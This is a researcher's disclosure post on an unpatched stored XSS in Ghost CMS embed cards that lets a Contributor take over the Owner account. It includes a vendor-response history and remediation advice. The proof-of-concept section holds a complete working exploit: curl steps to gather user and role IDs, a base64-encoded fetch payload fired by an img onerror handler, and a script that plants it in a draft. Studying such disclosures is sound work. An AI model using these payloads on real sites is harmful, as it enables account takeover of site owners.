Logo
Ghost CMS: Stored XSS in Embed Cards Leading to Owner Takeover - 2026

Ghost CMS: Stored XSS in Embed Cards Leading to Owner Takeover - 2026

February 24, 2026
9 min read
index

Vulnerability Overview

I found a Stored Cross-Site Scripting vulnerability in Ghost CMS triggered by malicious embed card HTML in the Lexical editor, enabling full instance takeover. With a single click from the site Owner, an attacker with the lowest staff role (Contributor) becomes the new Owner, gaining sole ownership, full administrative access, and billing modification abilities. The original Owner gets permanently demoted to Administrator.

Ghost CMS declined to patch it, stating that all staff users are considered trusted regardless of role.

Danger (Unpatched — vendor declined to fix)

Ghost CMS classified this under their “Privilege Escalation Attacks” exclusion policy. The vulnerability remains present in all current versions including 6.19.2 (latest at time of writing).

Vendor
Ghost Foundation
Product
Vulnerable Versions
5.x (Lexical editor introduction) through 6.19.2 (latest)
Fixed Version
None. Vendor declined to remediate.
CVSS
Critical 9.0 Critical (AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H)
Verified On
Ghost 6.13.2, 6.16.1, 6.17.0, 6.19.2

What is Ghost CMS?

Ghost CMS is a modern, open-source content management system for professional publishing. Built on Node.js, it offers rich editors, SEO tools, email newsletters, and membership features. The Docker image has over 100 million downloads and is used by Apple, Mozilla, OpenAI, and many others.

Ghost CMS has five user role levels: Contributors, Authors, Editors, Administrators, and Owner. Each role has different permissions, and any staff user can create posts with embed cards, making any staff user a potential exploit vector.

  1. Contributors: Can write drafts, cannot publish
  2. Authors: Can create and publish their own posts
  3. Editors: Can manage all posts and invite authors/contributors
  4. Administrators: Full edit permissions for all data and settings
  5. Owner: Cannot be deleted; accesses billing details; only one per site

Stored XSS in Embed Card HTML

Ghost’s Lexical editor supports “embed cards” for embedding external content like YouTube videos, tweets, and other media. Each embed card stores raw HTML that gets rendered when a user views the post in the Ghost admin editor.

The embed card HTML field is not sanitized at any point. Whatever HTML is submitted through the API gets stored directly and rendered as-is. This means any staff user can inject JavaScript that will execute in the browser of anyone who opens the post in the admin panel.

The vulnerability exists in two components:

Client-side (admin panel): The @tryghost/koenig-lexical package renders embed HTML inside an unsandboxed iframe:

<iframe srcDoc={html} />

Without a sandbox attribute, JavaScript in the HTML runs with full access to the admin session.

Server-side: In embed-renderer.js at line 61:

figure.innerHTML = node.html;

User-controlled HTML is assigned directly to innerHTML with no sanitization.

Multiple XSS vectors were confirmed to execute in the admin panel:

  • <img src=x onerror="...">
  • <svg onload="...">
  • <details open ontoggle="...">
  • <iframe src="javascript:...">
  • Base64-encoded eval(atob(...))

Weaponizing XSS: Ghost CMS Instance Takeover

The attack targets the site Owner by having them view a malicious draft post. A Contributor creates a draft with a crafted embed card, and the XSS fires automatically when the Owner opens it in the editor to review it. This is a normal part of editorial workflows on multi-author Ghost sites.

A single XSS payload performs two actions in the Owner’s authenticated session:

  1. Promotes the attacker’s Contributor account to Administrator via PUT /ghost/api/admin/users/{id}/
  2. Transfers site ownership to the attacker via PUT /ghost/api/admin/users/owner

The result is a permanent, irrevocable takeover. The attacker becomes the new Owner (cannot be deleted or demoted), and the original Owner is demoted to Administrator. Recovery requires direct database access.

The required information for the payload (user IDs, role IDs) is available to any staff user, including Contributors, through the Ghost admin API:

GET /ghost/api/admin/users/?include=roles
GET /ghost/api/admin/roles/

A two-stage version of the attack was also verified, where the first draft creates an Administrator invite for the attacker’s email, and a second draft transfers ownership. On production Ghost instances with email configured, the attacker simply receives a legitimate invite email from Ghost and accepts it normally.


Proof of Concept

The following walkthrough was performed on Ghost 6.19.2. The test environment has two accounts: an Owner (chris@alupify.com) and a Contributor (evil@test.com).

Ghost CMS privilege escalation demonstration

Step 1: Confirm Roles Before the Attack

alt text

Step 2: Authenticate as Contributor

Terminal window
curl -s -c cookies.txt -X POST "http://localhost:2368/ghost/api/admin/session/" \
-H "Content-Type: application/json" \
-d '{"username":"evil@test.com","password":"EvilPass123!"}'

Step 3: Get Attacker’s User ID

Terminal window
curl -s -b cookies.txt "http://localhost:2368/ghost/api/admin/users/me/?include=roles" | jq '.users[0] | {id, email, role: .roles[0].name}'

alt text

Step 4: Get Administrator Role ID

Note

Contributors can access the /roles/ endpoint. This is not a separate vulnerability, but it means the attacker can discover all role IDs using their own session.

Terminal window
curl -s -b cookies.txt "http://localhost:2368/ghost/api/admin/roles/" | jq '.roles[] | select(.name=="Administrator") | {id, name}'

alt text

Note

The user IDs and role IDs in the following steps are specific to this test environment. You will need to replace them with the values obtained from Steps 3 and 4 for your own instance.

Step 5: Build the XSS Payload

The JavaScript payload chains two API calls using the victim’s session. The first promotes the Contributor to Administrator. The second transfers site ownership to the attacker. Both use credentials: 'include' to ride on the Owner’s session cookie.

// Step 1: Promote Contributor to Administrator
fetch('/ghost/api/admin/users/83daecbecde740faa0cf46ba/', {
method: 'PUT',
credentials: 'include',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
users: [{
roles: [{id: '6988d0a3fbf3c2a0c634cd2f', name: 'Administrator'}]
}]
})
})
.then(() =>
// Step 2: Transfer ownership to attacker (now Administrator)
fetch('/ghost/api/admin/users/owner', {
method: 'PUT',
credentials: 'include',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
owner: [{id: '83daecbecde740faa0cf46ba'}]
})
})
)

API endpoints used:

  • PUT /ghost/api/admin/users/{id}/ changes a user’s role. Requires the caller to be an Owner or Administrator.
  • PUT /ghost/api/admin/users/owner transfers site ownership. Can only be called by the current Owner. The target must already be an Administrator, which is why the payload promotes the attacker first.

Step 6: Base64 Encode the Payload

The payload is base64-encoded to avoid JSON escaping issues when embedding it in the Lexical document:

Terminal window
echo -n "fetch('/ghost/api/admin/users/83daecbecde740faa0cf46ba/',{method:'PUT',credentials:'include',headers:{'Content-Type':'application/json'},body:JSON.stringify({users:[{roles:[{id:'6988d0a3fbf3c2a0c634cd2f',name:'Administrator'}]}]})}).then(()=>fetch('/ghost/api/admin/users/owner',{method:'PUT',credentials:'include',headers:{'Content-Type':'application/json'},body:JSON.stringify({owner:[{id:'83daecbecde740faa0cf46ba'}]})}))" | base64 -w0
Terminal window
ZmV0Y2goJy9naG9zdC9hcGkvYWRtaW4vdXNlcnMvODNkYWVjYmVjZGU3NDBmYWEwY2Y0NmJhLycse21ldGhvZDonUFVUJyxjcmVkZW50aWFsczonaW5jbHVkZScsaGVhZGVyczp7J0NvbnRlbnQtVHlwZSc6J2FwcGxpY2F0aW9uL2pzb24nfSxib2R5OkpTT04uc3RyaW5naWZ5KHt1c2Vyczpbe3JvbGVzOlt7aWQ6JzY5ODhkMGEzZmJmM2MyYTBjNjM0Y2QyZicsbmFtZTonQWRtaW5pc3RyYXRvcid9XX1dfSl9KS50aGVuKCgpPT5mZXRjaCgnL2dob3N0L2FwaS9hZG1pbi91c2Vycy9vd25lcicse21ldGhvZDonUFVUJyxjcmVkZW50aWFsczonaW5jbHVkZScsaGVhZGVyczp7J0NvbnRlbnQtVHlwZSc6J2FwcGxpY2F0aW9uL2pzb24nfSxib2R5OkpTT04uc3RyaW5naWZ5KHtvd25lcjpbe2lkOic4M2RhZWNiZWNkZTc0MGZhYTBjZjQ2YmEnfV19KX0pKQ==

The embed card HTML that delivers the payload:

<img src=x onerror="eval(atob('ZmV0Y2goJy9naG9zdC9hcGkvYWRtaW4vdXN...'))">

When the image fails to load, the onerror handler decodes and executes the JavaScript.

Step 7: Create the Malicious Draft Post

The payload is embedded in a Lexical embed card and submitted as a draft post:

Terminal window
CONTRIB_ID="83daecbecde740faa0cf46ba"
PAYLOAD_B64="ZmV0Y2goJy9naG9zdC9hcGkvYWRtaW4vdXNlcnMvODNkYWVjYmVjZGU3NDBmYWEwY2Y0NmJhLycse21ldGhvZDonUFVUJyxjcmVkZW50aWFsczonaW5jbHVkZScsaGVhZGVyczp7J0NvbnRlbnQtVHlwZSc6J2FwcGxpY2F0aW9uL2pzb24nfSxib2R5OkpTT04uc3RyaW5naWZ5KHt1c2Vyczpbe3JvbGVzOlt7aWQ6JzY5ODhkMGEzZmJmM2MyYTBjNjM0Y2QyZicsbmFtZTonQWRtaW5pc3RyYXRvcid9XX1dfSl9KS50aGVuKCgpPT5mZXRjaCgnL2dob3N0L2FwaS9hZG1pbi91c2Vycy9vd25lcicse21ldGhvZDonUFVUJyxjcmVkZW50aWFsczonaW5jbHVkZScsaGVhZGVyczp7J0NvbnRlbnQtVHlwZSc6J2FwcGxpY2F0aW9uL2pzb24nfSxib2R5OkpTT04uc3RyaW5naWZ5KHtvd25lcjpbe2lkOic4M2RhZWNiZWNkZTc0MGZhYTBjZjQ2YmEnfV19KX0pKQ=="
# Build the post JSON with the payload and contributor ID substituted in
cat > /tmp/payload.json << JSONEOF
{
"posts": [{
"title": "Check this embed!",
"lexical": "{\"root\":{\"children\":[{\"type\":\"embed\",\"version\":1,\"url\":\"https://example.com\",\"html\":\"<img src=x onerror=\\\\\"eval(atob('${PAYLOAD_B64}'))\\\\\">\",\"embedType\":\"embed\"}],\"direction\":null,\"format\":\"\",\"indent\":0,\"type\":\"root\",\"version\":1}}",
"status": "draft",
"authors": [{"id": "${CONTRIB_ID}"}]
}]
}
JSONEOF
# Submit as Contributor
curl -s -b cookies.txt -X POST "http://localhost:2368/ghost/api/admin/posts/" \
-H "Content-Type: application/json" \
-d @/tmp/payload.json | jq '{id: .posts[0].id, title: .posts[0].title, author: .posts[0].primary_author.name}'
{
"id": "699de9102754d18a13be3397",
"title": "Check this embed!",
"author": "Evil Contributor"
}

The post shows up as a normal draft in the Ghost Admin posts list.

alt text

Step 8: Owner Views the Draft

The site Owner (chris@alupify.com) opens the draft in the editor to review it. This is standard editorial workflow on any multi-author Ghost site. The Network tab shows the two PUT requests firing silently in the background.

alt text

The moment the editor loads, the embed card renders, the image fails to load, and the onerror handler fires. The two API calls execute using the Owner’s authenticated session. No clicks, no popups, no visible indication that anything happened.

Step 9: Verify the Takeover

After the Owner views the post, the roles have changed:

evil@test.com | Owner
chris@alupify.com | Administrator

alt text

Danger (Irrevocable takeover)

The takeover is permanent. The original Owner cannot recover their role through the admin panel. The attacker now has sole ownership of the Ghost instance and cannot be deleted or demoted by anyone. In fact, the attacker can now delete the original Owner’s account entirely. Recovery requires direct database access.

alt text


Precedent: CVE-2024-23724

This is not the first stored XSS to Owner takeover in Ghost CMS. In 2024, Rhino Security Labs discovered a nearly identical vulnerability (CVE-2024-23724) where a low-privilege user could escalate to Owner through stored XSS in SVG profile pictures. Ghost gave the same response at the time: staff users are trusted. MITRE assigned CVE-2024-23724 anyway, and Ghost eventually merged a fix in Pull Request #20264.

Warning (Pattern repeating)

Same product, same vulnerability class, same minimum privilege, same vendor response, same impact. The only difference is the injection vector: SVG profile pictures vs. embed card HTML.

Rhino Security Labs’ proof-of-concept: https://github.com/RhinoSecurityLabs/CVEs/tree/master/CVE-2024-23724


Vendor Response

When I reported this vulnerability, Ghost CMS classified it under the “Privilege Escalation Attacks” exclusion in their security policy, which states that all staff users are considered trusted. Their position is that because Ghost allows content creators to use scripts and embedded content, XSS from staff users is a design feature rather than a security flaw.

I pushed back, citing the CVE-2024-23724 precedent described above. In their final response, Ghost explained why they saw the two cases differently:

The use case for embeds is very different to the previous SVG rendering fix you reference. Scripts are not expected in SVG, which is why it made sense to put basic sanitisation in place for them. If scripts were needed for that feature to function — as they are for many of the embeds we support — we would’ve been OK leaving the possible exploit in place, as all Staff users are considered trusted not to be malicious regardless of assigned role.

In short, Ghost said the SVG fix only happened because scripts weren’t needed for that feature to work. They would have left it unpatched otherwise. For embed cards, since some legitimate embeds use scripts, they chose not to sanitize the HTML at all.

Important (Domain separation does not mitigate this)

Ghost’s security policy suggests separating front-end and admin domains as a mitigation for concerned site owners. This does not help in this case because the XSS fires inside the Ghost admin panel itself when an Owner opens the editor to review a draft post.


Remediation

Tip (Existing dependency could fix this)

Ghost CMS already has DOMPurify installed as a dependency. Sanitizing embed card HTML before rendering would block malicious payloads while preserving legitimate embed functionality. Adding a sandbox attribute to the iframe in EmbedCard.jsx would also prevent script execution in the admin panel context.

Until a fix is applied, Ghost site owners should limit staff access to trusted individuals and be aware that reviewing any draft post with an embed card could trigger XSS in their session.


Conclusion

This vulnerability allows the lowest-privilege staff user on a Ghost site to permanently take over the Owner account by submitting a single draft post. The attack fits naturally into editorial workflows where Owners and Administrators routinely review Contributor drafts. Ghost declined to patch it, and the vulnerability remains present in all current versions.

Proof-of-concept available at: https://github.com/Neosprings/CVEs


Disclosure Timeline

01/20/2026
Issue reported to Ghost CMS security team
01/22/2026
Ghost CMS: classified under excluded "Privilege Escalation Attacks" policy
01/22/2026
Provided detailed rebuttal citing CVE-2024-23724 precedent
01/28/2026
Follow-up due to lack of reply
02/03/2026
Ghost CMS: staff users are trusted; embeds require scripts
02/03/2026
Informed Ghost CMS of intent to pursue MITRE coordination
02/08/2026
Re-verified on Ghost 6.17.0. CVE request submitted to MITRE
02/24/2026
Re-verified on Ghost 6.19.2 (current latest). Public disclosure via blog post